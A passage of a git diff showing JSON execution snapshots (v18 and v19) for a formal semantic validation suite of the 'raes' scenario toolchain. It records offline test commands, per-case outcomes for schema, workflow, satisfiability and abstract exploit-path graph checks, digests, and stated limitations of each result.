"configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v18", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml" + ], + "execution_id": "issue-1241-execution-v18", + "limitations": [ + "One static dependency cycle does not establish general constraint satisfiability." + ], + "replayable": true, + "result_digest": "d15dbcd99fb4f20b965d7031b07dd6534576302270399c3fa656d29e7de02b83", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "workflow-reachable-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v18", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "implementations/python/tests/test_semantics_planner.py", + "specs/formal/workflows/state-machine.md" + ], + "execution_id": "issue-1241-execution-v18", + "limitations": [ + "The graph is workflow control flow only." + ], + "replayable": true, + "result_digest": "b1b49649b54bd59d4ef357b39cf9158da90f4eae560f8dd756acf97bd0827a06", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "workflow-unreachable-step", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v18", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "implementations/python/tests/test_semantics_planner.py", + "specs/formal/workflows/state-machine.md" + ], + "execution_id": "issue-1241-execution-v18", + "limitations": [ + "The result does not establish network, service, participant, or exploit reachability." + ], + "replayable": true, + "result_digest": "bb931d19346ef9193408ae6c85deb4079704378fc5f00dc5f47a2817cff21943", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-satisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v18", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1241-execution-v18", + "limitations": [ + "No governed whole-scenario constraint theory or solver exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-unsatisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v18", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1241-execution-v18", + "limitations": [ + "Local checks cannot produce a whole-scenario unsat certificate." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "valid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v18", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1241-execution-v18", + "limitations": [ + "The issue-168 baseline had no canonical typed attack graph or path-query entrypoint." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "invalid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v18", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1241-execution-v18", + "limitations": [ + "Vulnerability and topology declarations are not an invalid-path proof." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "stable", + "analysis_profile": null, + "case_id": "compile-repeatability-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v18", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "implementations/python/tests/test_pipeline_determinism.py" + ], + "execution_id": "issue-1241-execution-v18", + "limitations": [ + "The witness ends at compiled output." + ], + "replayable": true, + "result_digest": "f39cd4f7146056764ce385028767eb862cdaa11d1ffda85c1d735e4367fb64cf", + "source_digest": null + }, + { + "actual_outcome": "distinguishable", + "analysis_profile": null, + "case_id": "compile-non-vacuity-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v18", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml" + ], + "execution_id": "issue-1241-execution-v18", + "limitations": [ + "Distinct digests are a non-vacuity control, not semantic non-equivalence proof." + ], + "replayable": true, + "result_digest": "66c64ed1807210579d2450a7b22032c3392db3f6b7fc639cdd898f61705c8c9a", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "necessity-witness-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v18", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1241-execution-v18", + "limitations": [ + "No governed intervention or ablation protocol exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "non-necessity-control-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v18", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1241-execution-v18", + "limitations": [ + "Attribution and negative fixtures do not demonstrate non-necessity." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "satisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-satisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v18", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "evidence_artifact_sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add", + "evidence_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1241-execution-v18", + "limitations": [ + "Demonstrates only the pinned finite-domain theory, translation, solver profile, and source." + ], + "replayable": true, + "result_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "source_digest": "sha256:0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "actual_outcome": "unsatisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-unsatisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v18", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "evidence_artifact_sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d", + "evidence_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1241-execution-v18", + "limitations": [ + "The subset-minimal core is evidence for the pinned translation and solver, not a proof certificate for arbitrary SDL." + ], + "replayable": true, + "result_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "source_digest": "sha256:cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "actual_outcome": "valid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-valid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v18", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "evidence_artifact_sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c", + "evidence_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1241-execution-v18", + "limitations": [ + "The witness is bounded to the admitted snapshot, normalized graph, query, semantics, and search profile; it does not establish backend execution." + ], + "replayable": true, + "result_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "source_digest": "sha256:0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "actual_outcome": "invalid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-invalid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v18", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "evidence_artifact_sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533", + "evidence_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1241-execution-v18", + "limitations": [ + "Structured rejection proves only that this bounded graph/query cannot reach its goal; it does not establish real-world non-exploitability." + ], + "replayable": true, + "result_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "source_digest": "sha256:0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + } + ], + "participant_observations": [ + { + "evidence_refs": [ + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule" + ], + "execution_id": "issue-1241-execution-v18", + "limitations": [ + "Covers the reference SDL/contract path, not every backend projection." + ], + "negative_outcome": "passed", + "obligation_id": "hidden-vs-visible-projection", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved" + ], + "execution_id": "issue-1241-execution-v18", + "limitations": [ + "Covers declared applicability and one unresolved-precondition failure." + ], + "negative_outcome": "passed", + "obligation_id": "fail-closed-action-applicability", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes" + ], + "execution_id": "issue-1241-execution-v18", + "limitations": [ + "Contract evidence does not prove every backend's live concurrency fidelity." + ], + "negative_outcome": "passed", + "obligation_id": "shared-state-effects", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality" + ], + "execution_id": "issue-1241-execution-v18", + "limitations": [ + "Rejecting timestamp-only causality does not supply counterfactual proof." + ], + "negative_outcome": "passed", + "obligation_id": "ordering-before-causality", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality" + ], + "execution_id": "issue-1241-execution-v18", + "limitations": [ + "Attribution labels disclose basis; they do not demonstrate necessity." + ], + "negative_outcome": "passed", + "obligation_id": "evidence-labeled-attribution", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record" + ], + "execution_id": "issue-1241-execution-v18", + "limitations": [ + "The fixtures establish layer separation, not outcome validity in every realization." + ], + "negative_outcome": "passed", + "obligation_id": "participant-local-outcome-separation", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "execution_id": "issue-1241-execution-v18", + "limitations": [ + "Reference conformance evidence remains bounded to declared realization profiles." + ], + "negative_outcome": "passed", + "obligation_id": "realization-profile-honesty", + "positive_outcome": "passed" + } + ], + "protocol_revision": "2.0.0", + "raes_revision": "2ac0c5f9f6c9609101a2f9895d671bf2aee8773f", + "source_state": { + "base_revision": "2ac0c5f9f6c9609101a2f9895d671bf2aee8773f", + "checkout_state": "modified", + "implementation_digest": "60bdfa60f08ff6bd41504e6c43d4c91f60ff48da8a974e64f972d53d48dfbc04", + "profile": "python-reference-source/v2" + }, + "versions": { + "python": "3.14.4", + "raes": "3.5.0", + "z3_engine": "4.16.0", + "z3_solver": "4.16.0.0" + } +} diff --git a/docs/research/formal-semantic-validation/execution-snapshot-v19.json b/docs/research/formal-semantic-validation/execution-snapshot-v19.json new file mode 100644 index 000000000..dbf33dd35 --- /dev/null +++ b/docs/research/formal-semantic-validation/execution-snapshot-v19.json @@ -0,0 +1,657 @@ +{ + "baseline": { + "execution_id": "issue-1241-execution-v18", + "release_path": "docs/research/formal-semantic-validation/bundles/retest-v18.json", + "release_revision": "19.0.0", + "release_sha256": "4a06467cdced208591157fd3c7106eef749627ed55c217149909cc316746c823" + }, + "captured_at": "2026-09-15T21:22:34.264356+00:00", + "commands": [ + { + "argv": [ + "implementations/python/.venv/bin/python", + "tools/check_formal_semantic_validation.py" + ], + "command_id": "bundle-replay", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/pytest", + "-q", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record", + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "command_id": "participant-fixtures", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-satisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-unsatisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-valid-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-invalid-v2", + "network": "disabled" + } + ], + "configuration_id": "raes-python-reference-offline-v19", + "corpus_revision": "3.0.0", + "deviations": [], + "execution_id": "issue-1237-execution-v19", + "execution_status": "complete", + "observations": [ + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "schema-valid-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v19", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml" + ], + "execution_id": "issue-1237-execution-v19", + "limitations": [ + "A passing minimal source does not establish semantic correctness." + ], + "replayable": true, + "result_digest": "f7d364ef384df8a1526b489501835b635021c860793b5764f91d956710d2250c", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "schema-unknown-field", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v19", + "diagnostic_kind": "SDLParseError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml" + ], + "execution_id": "issue-1237-execution-v19", + "limitations": [ + "The observation covers one unknown-field defect only." + ], + "replayable": true, + "result_digest": "f55d834b458f8e069e1c69061b4cc0a6d61e0e052bf90c670f2e6a5ad8b5bd98", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "semantic-resolved-objective", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v19", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-valid.sdl.yaml" + ], + "execution_id": "issue-1237-execution-v19", + "limitations": [ + "This is a positive control for one objective-reference slice." + ], + "replayable": true, + "result_digest": "fadacf4359c97415f5433563e675d454c587917c85064b625d9756e4da1c4967", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-dangling-assertion", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v19", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref.sdl.yaml" + ], + "execution_id": "issue-1237-execution-v19", + "limitations": [ + "A single dangling reference does not prove complete semantic coverage." + ], + "replayable": true, + "result_digest": "0207cf616b56708ca9b8c4499d3301abe22dbe52162cf8d58d3bec429d9db024", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-ambiguous-reference", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v19", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml" + ], + "execution_id": "issue-1237-execution-v19", + "limitations": [ + "One namespace collision does not enumerate every ambiguity surface." + ], + "replayable": true, + "result_digest": "9da4a87797d228e0012ab6b30459f4892e41aa6f224a9840be035fee4a2eea73", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-feature-cycle", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v19", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml" + ], + "execution_id": "issue-1237-execution-v19", + "limitations": [ + "One static dependency cycle does not establish general constraint satisfiability." + ], + "replayable": true, + "result_digest": "d15dbcd99fb4f20b965d7031b07dd6534576302270399c3fa656d29e7de02b83", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "workflow-reachable-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v19", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "implementations/python/tests/test_semantics_planner.py", + "specs/formal/workflows/state-machine.md" + ], + "execution_id": "issue-1237-execution-v19", + "limitations": [ + "The graph is workflow control flow only." + ], + "replayable": true, + "result_digest": "b1b49649b54bd59d4ef357b39cf9158da90f4eae560f8dd756acf97bd0827a06", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "workflow-unreachable-step", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v19", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "implementations/python/tests/test_semantics_planner.py", + "specs/formal/workflows/state-machine.md" + ], + "execution_id": "issue-1237-execution-v19", + "limitations": [ + "The result does not establish network, service, participant, or exploit reachability." + ], + "replayable": true, + "result_digest": "bb931d19346ef9193408ae6c85deb4079704378fc5f00dc5f47a2817cff21943", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-satisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v19", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1237-execution-v19", + "limitations": [ + "No governed whole-scenario constraint theory or solver exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-unsatisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v19", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1237-execution-v19", + "limitations": [ + "Local checks cannot produce a whole-scenario unsat certificate." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "valid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v19", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1237-execution-v19", + "limitations": [ + "The issue-168 baseline had no canonical typed attack graph or path-query entrypoint." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "invalid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v19", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1237-execution-v19", + "limitations": [ + "Vulnerability and topology declarations are not an invalid-path proof." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "stable", + "analysis_profile": null, + "case_id": "compile-repeatability-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v19", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "implementations/python/tests/test_pipeline_determinism.py" + ], + "execution_id": "issue-1237-execution-v19", + "limitations": [ + "The witness ends at compiled output." + ], + "replayable": true, + "result_digest": "f39cd4f7146056764ce385028767eb862cdaa11d1ffda85c1d735e4367fb64cf", + "source_digest": null + }, + { + "actual_outcome": "distinguishable", + "analysis_profile": null, + "case_id": "compile-non-vacuity-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v19", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml" + ], + "execution_id": "issue-1237-execution-v19", + "limitations": [ + "Distinct digests are a non-vacuity control, not semantic non-equivalence proof." + ], + "replayable": true, + "result_digest": "66c64ed1807210579d2450a7b22032c3392db3f6b7fc639cdd898f61705c8c9a", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "necessity-witness-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v19", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1237-execution-v19", + "limitations": [ + "No governed intervention or ablation protocol exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "non-necessity-control-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v19", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1237-execution-v19", + "limitations": [ + "Attribution and negative fixtures do not demonstrate non-necessity." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "satisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-satisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v19", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": 